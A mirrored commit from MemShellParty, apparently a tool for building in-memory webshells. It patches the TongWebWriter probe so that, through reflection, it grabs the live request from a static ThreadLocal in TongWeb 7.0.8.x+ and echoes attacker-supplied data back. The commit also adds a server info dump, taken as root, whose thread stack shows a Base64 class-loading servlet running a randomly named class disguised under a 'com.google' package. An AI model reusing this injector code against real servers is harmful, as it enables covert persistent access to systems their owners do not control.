mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
fix: TongWeb 7.0.8.x+ probe failed
This commit is contained in:
+21
@@ -18,6 +18,23 @@ public class TongWebWriter {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
// TongWeb 7.0.8.x+: RequestGroupInfo.processors stays empty unless the network
|
||||
// monitor is enabled, but the RequestCapturer valve stores the current connector
|
||||
// Request in a static ThreadLocal
|
||||
try {
|
||||
Class<?> tongWebMain = Class.forName("com.tongweb.main.TongWeb", false,
|
||||
Thread.currentThread().getContextClassLoader());
|
||||
Field requestsField = tongWebMain.getDeclaredField("requests");
|
||||
requestsField.setAccessible(true);
|
||||
Object threadLocal = requestsField.get(null);
|
||||
if (threadLocal != null) {
|
||||
Object request = invokeMethod(threadLocal, "get", null, null);
|
||||
if (request != null && writeResponse(request)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
Object poller = getFieldValue(thread, "target");
|
||||
@@ -76,6 +93,10 @@ public class TongWebWriter {
|
||||
|
||||
private boolean tryWriteRes(Object coyoteRequest) throws Exception {
|
||||
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
||||
return writeResponse(request);
|
||||
}
|
||||
|
||||
private boolean writeResponse(Object request) throws Exception {
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
|
||||
@@ -0,0 +1,690 @@
|
||||
# Generated At 2026-09-12 07:53:12
|
||||
SystemProps:
|
||||
java.vendor: Temurin
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
os.name: Linux
|
||||
sun.boot.class.path: /opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
|
||||
javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.runtime.version: 1.8.0_502-b07
|
||||
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||
user.name: root
|
||||
tongweb.home: /opt/tweb7
|
||||
user.language: en
|
||||
java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory
|
||||
derby.system.home: /opt/tweb7/domains/domain1
|
||||
sun.boot.library.path: /opt/java/openjdk/jre/lib/aarch64
|
||||
java.version: 1.8.0_502
|
||||
java.util.logging.manager: com.tongweb.logger.JulLogManager
|
||||
user.timezone: Etc/UTC
|
||||
sun.arch.data.model: 64
|
||||
java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.server.startup.SafeForkJoinWorkerThreadFactory
|
||||
java.endorsed.dirs: /opt/java/openjdk/jre/lib/endorsed
|
||||
sun.cpu.isalist:
|
||||
sun.jnu.encoding: UTF-8
|
||||
file.encoding.pkg: sun.io
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
tongejb.version: 8
|
||||
java.class.version: 52.0
|
||||
user.country: US
|
||||
java.home: /opt/java/openjdk/jre
|
||||
java.vm.info: mixed mode
|
||||
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
|
||||
sun.font.fontmanager: sun.awt.X11FontManager
|
||||
path.separator: :
|
||||
java.vm.version: 25.502-b07
|
||||
bval.in-container: true
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.specification.maintenance.version: 6
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
tongweb.base: /opt/tweb7/domains/domain1
|
||||
java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming
|
||||
java.security.egd: file:/dev/./urandom
|
||||
user.home: /root
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib:/usr/lib64:/lib64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
java.vm.vendor: Temurin
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.java.command: com.tongweb.main.TongWebMain start
|
||||
java.class.path: /opt/tweb7/version7.0.8.81/boot/tongweb-bootstrap.jar:/opt/tweb7/version7.0.8.81/tools/license/license-client-4.5.1.3.jar:/opt/tweb7/version7.0.8.81/boot/tongweb-bootstrap.jar
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
java.vm.specification.version: 1.8
|
||||
sun.cpu.endian: little
|
||||
sun.os.patch.level: unknown
|
||||
java.awt.headless: true
|
||||
tongweb.TONGWEB_STARTED_FLAG: true
|
||||
java.net.preferIPv6Addresses: false
|
||||
java.io.tmpdir: /opt/tweb7/domains/domain1/temp
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
java.rmi.server.hostname: 127.0.0.1
|
||||
os.arch: aarch64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
|
||||
user.dir: /opt/tweb7/domains/domain1
|
||||
line.separator:
|
||||
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
|
||||
tongweb.version: 8
|
||||
file.encoding: UTF-8
|
||||
noBanner: true
|
||||
java.specification.version: 1.8
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"TW-0.0.0.0-9060-2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f894cca
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"auto-server" #126 daemon [TIMED_WAITING] on java.util.TaskQueue@414ebb4b
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-Console-Thread-1" #118 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@457127ba
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
|
||||
at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-5" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-5" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f894cca
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-5" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"InstanceSyncRunnable" #125 daemon [TIMED_WAITING] on java.util.TaskQueue@31b935b3
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-0.0.0.0-9060-4" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f894cca
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-Console-Thread-2" #120 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@457127ba
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
|
||||
at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-2" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-ClientPoller-1" #96 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1318)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Thread-62" #131 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.fs.LinuxWatchService.poll(Native Method)
|
||||
at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47)
|
||||
at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-LogWriting" #15 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source)
|
||||
|
||||
"TW-0.0.0.0-9060-ClientPoller-0" #95 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1318)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f894cca
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-3" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f894cca
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-3" #103 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at com.google.gso.hufOW.ErrorKqstzHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at com.tongweb.server.connector.CoyoteWriter.print(CoyoteWriter.java:237)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.enterApp(ApplicationFilterChain.java:366)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:236)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:197)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:197)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:197)
|
||||
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||
at com.tongweb.server.core.StandardWrapperValve.invoke(StandardWrapperValve.java:155)
|
||||
at com.tongweb.server.core.StandardContextValve.invoke(StandardContextValve.java:78)
|
||||
at com.tongweb.ee.server.OpenEJBValve.invoke(OpenEJBValve.java:29)
|
||||
at com.tongweb.server.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:487)
|
||||
at com.tongweb.server.core.StandardHostValve.invoke(StandardHostValve.java:117)
|
||||
at com.tongweb.server.valves.ErrorReportValve.invoke(ErrorReportValve.java:64)
|
||||
at com.tongweb.ee.server.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:80)
|
||||
at com.tongweb.server.core.StandardEngineValve.invoke(StandardEngineValve.java:58)
|
||||
at com.tongweb.server.connector.CoyoteAdapter.service(CoyoteAdapter.java:500)
|
||||
at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:352)
|
||||
at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:48)
|
||||
at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:735)
|
||||
at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1644)
|
||||
at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:33)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-9" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7db988c9
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
|
||||
|
||||
"TW-0.0.0.0-8080-8" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-7" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-BlockPoller" #39 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295)
|
||||
|
||||
"TW-0.0.0.0-8080-6" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-1" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
